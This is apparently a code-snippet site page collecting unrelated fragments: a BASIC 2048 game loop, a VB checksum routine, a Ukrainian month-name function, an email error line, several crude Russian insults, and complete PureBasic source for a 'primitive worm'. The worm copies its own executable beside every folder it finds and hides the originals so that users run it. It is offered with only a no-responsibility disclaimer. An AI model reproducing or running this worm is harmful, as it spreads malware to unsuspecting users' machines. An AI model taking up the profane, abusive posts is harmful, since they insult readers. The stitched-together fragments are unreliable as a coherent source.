1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17
18. 18
19. 19
20. 20
21. 21
22. 22
23. 23
24. 24
25. 25
26. 26
27. 27
28. 28
29. 29
30. 30
31. 31
32. 32
33. 33
34. 34
35. 35
36. 36
37. 37
38. 38
39. 39
40. 40
41. 41
42. 42
43. 43
44. 44
45. 45
46. 46
47. 47
48. 48
49. 49
50. 50
51. 51
52. 52
53. 53
54. 54
55. 55
56. 56
57. 57
58. 58
59. 59
60. 60
61. 61
62. 62
63. 63
64. 64
65. 65
66. 66
67. 67
68. 68
69. 69
70. 70
71. 71
72. 72
73. 73
74. 74
75. 75
76. 76

sub addleft
	for i = 1 to 4
		for j = 1 to 3
			if a(i,j)<>0 and a(i,j) = a(i,j+1) then
				moved = true 
				a(i,j) = a(i,j)+1
				a(i,j+1) = 0
				score = score + integer ( 2**a(i,j) )
			end if
		end for
	end for
end sub

sub left
	for i = 1 to 4
		for k = 1 to 3
			for j = 1 to 3
				if a(i,j) = 0 and a(i,j+1) <> 0 then
					moved = true
					a(i,j) = a(i,j+1)
					a(i,j+1) = 0
				end if
			end for
		end for
	end for
end sub

rem addright, addup, adddown, right, up, down в том же духе

rem . . .

rem главный суслик
while true
		xy = touchdown()
		if xy <> -1 then
			x = xy/65536&0x0000ffff
			y = xy&0x0000ffff
			repeat
				sleep 10
				xy = touchup()
			until xy <> -1
			x = x - (xy/65536&0x0000ffff)
			y = y - (xy&0x0000ffff)
			if (abs(x)>100) <> (abs(y)>100) then
				moved = false
				if abs(x) > 100 then
					if x > 0 then
						left
						addleft
						left
					else
						right
						addright
						right
					end if
				else
					if y > 0 then
						up
						addup
						up
					else
						down
						adddown
						down
					end if
				end if
				if moved then
					rand
				end if
			end if
		else
			sleep 10
		end if
		draw
		sleep 50
	end while

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13

Const strMask="258258258258258258"
mNumber = Clng(Left(mParam1,2))*100000+Clng(Right(mParam1,5))*10+Clng(mParam2)
mResStr = Right("000000000"+Cstr(mNumber),9)
For c=1 To 9
	mRes1 = Cint(Mid(mResStr, c, 1))
	mRes2 = Int(Rnd()*10)
	strPreResult=Cstr(mRes1)+Cstr(mRes2)
	mCheckSum = mCheckSum+mRes1*Cint(Mid(strMask, (c-1)*2+1, 1))
	mCheckSum = mCheckSum+mRes2*Cint(Mid(strMask, (c)*2, 1))
	Print strPreResult, mCheckSum
	strResult=strResult+strPreResult
Next c
strResult = Left(strResult,9)+Right("00"+Cstr((mCheckSum Mod 95)Mod 100),2)+Right(strResult,8)

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17
18. 18
19. 19
20. 20
21. 21
22. 22
23. 23
24. 24
25. 25
26. 26
27. 27
28. 28
29. 29
30. 30
31. 31

Private Function DecodName(ByVal ind As Integer) As String
        ''перекодування назви місяця
        Select Case ind
            Case 1
                Return "Січень"
            Case 2
                Return "Лютий"
            Case 3
                Return "Березень"
            Case 4
                Return "Квітень"
            Case 5
                Return "Травень"
            Case 6
                Return "Червень"
            Case 7
                Return "Липень"
            Case 8
                Return "Серпень"
            Case 9
                Return "Вересень"
            Case 10
                Return "Жовтень"
            Case 11
                Return "Листопад"
            Case 12
                Return "Грудень"
            Case Else
                Return ""
        End Select
    End Function

1. 1

Здарова, бляжьи сынки.

1. 1
2. 2

Силачем слыву не даром
Похмеляюсь Солнцедаром

1. 1

Invalid address: b34225@trb.com_You must provide at least one recipient email address

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17
18. 18
19. 19
20. 20
21. 21
22. 22
23. 23
24. 24
25. 25
26. 26
27. 27
28. 28
29. 29
30. 30
31. 31
32. 32
33. 33
34. 34
35. 35
36. 36
37. 37
38. 38
39. 39
40. 40
41. 41
42. 42
43. 43
44. 44
45. 45
46. 46
47. 47
48. 48
49. 49
50. 50
51. 51
52. 52

;********************************************************************
;* Примитивный червь. Распространяется, подменяя собой папки.       *
;* Для компиляции в среде PureBasic 5.30                            *
;* Автор не несет ответственности за Ваши действия с этим кодом.    *
;********************************************************************


Procedure Spread(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  Define.l attrs
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=path+fname
        attrs=finddata\dwFileAttributes
        ext=LCase(GetExtensionPart(fname))
        If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
          If CopyFile(ProgramFilename(), fname+".exe")
            SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
            SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
          EndIf
          Spread(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf
EndProcedure

Procedure Main()
  Define.l hm
  Define path.s
  path=ProgramFilename()
  
  path=Left(path,Len(path)-Len(GetExtensionPart(path)))
  If FileSize(path) <> -1
    ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
  EndIf
  
  hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
  If hm<>0
    CloseHandle_(hm)
  Else
    hm=CreateMutex_(0,#True,@"mutexname")
    spread(GetCurrentDirectory())
  EndIf
EndProcedure

Main()

1. 1

Изыди, злой дух, из ануса!..

1. 1
2. 2

Cтретор, иди нахуй
Заебал

1. 1

Очко.